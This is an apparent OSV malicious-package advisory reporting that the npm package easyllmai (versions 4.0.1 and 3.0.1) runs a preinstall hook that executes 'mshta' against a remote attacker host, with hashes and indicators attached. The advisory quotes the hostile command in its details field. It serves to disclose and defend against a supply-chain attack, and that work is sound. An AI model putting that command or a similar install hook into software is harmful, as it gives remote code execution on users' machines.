easyllmai

{"modified":"2026-06-16T16:08:47Z","published":"2026-06-16T16:01:58Z","schema_version":"1.7.4","id":"MAL-2026-5895","summary":"Malicious code in easyllmai (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (2f3b4523b083331b34769a2a730586fa622f50560f2f237a893633e7ffb57872)\nOn `npm install`, the package's preinstall lifecycle hook (`\"preinstall\": \"node preinstall.js\"`) unconditionally runs `exec('cmd /c \"mshta http://fixars.top\"')`. On Windows, mshta is a living-off-the-land binary that fetches and executes arbitrary HTML Application / JScript / VBScript content from the supplied URL with the invoking user's privileges. The destination is plain HTTP, attacker-controlled, and the delivered payload is opaque remote code with no signature, hash, or version pinning — giving the publisher full remote code execution on any Windows machine that runs `npm install`. Package metadata is also a throwaway shape (empty `description`, empty `author`, no `repository`, no `keywords`) and the name `easyllmai` is consistent with a typosquat lure against legitimate LLM-client packages.\n","affected":[{"package":{"ecosystem":"npm","name":"easyllmai"},"versions":["4.0.1","3.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"preinstall.js","sha256":"6531737cdf18669d076b7ff3bf8168ddc74828f385a4a037a47bd8767d11b889","tlsh":"70b012d499453234b252a0e02c3060225807c441225055e0648c451d441741516235fd"},{"path":"package.json","sha256":"af58588a9ec249dcfc45eaf7a92dc7eb2ff0e3ec40690924306b57063e4f661f","tlsh":"05d0c2344972d43328c04651182a9182b2a09f0b04583c0ae3cb182d538e57359fb30e"}],"package_integrity":[{"filename":"easyllmai-4.0.1.tgz","hashes":{"sha1":"20f09fde8fe2cb18a6a9a29071e5b8fb180b25e5","sha512_sri":"sha512-5ajUgt7BQtOtk8cTeCwOY+W+FbYgGU8W1O/Lrt4wYHMUe9T7FeHxF7er6XCpxonLP42I2gDwCpqoaXW48vFH1g=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/easyllmai/v/4.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/easyllmai/v/3.0.1"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-006774","import_time":"2026-06-16T16:06:35.399563856Z","modified_time":"2026-06-16T16:01:58Z","sha256":"2f3b4523b083331b34769a2a730586fa622f50560f2f237a893633e7ffb57872","source":"amazon-inspector","versions":["4.0.1"]},{"id":"IN-MAL-2026-006775","import_time":"2026-06-16T16:06:35.487079567Z","modified_time":"2026-06-16T16:01:59Z","sha256":"d1ab2568a3b8f8952a19724dc50ba7d34f9839b01c20ec315490c45d069def02","source":"amazon-inspector","versions":["3.0.1"]}]}}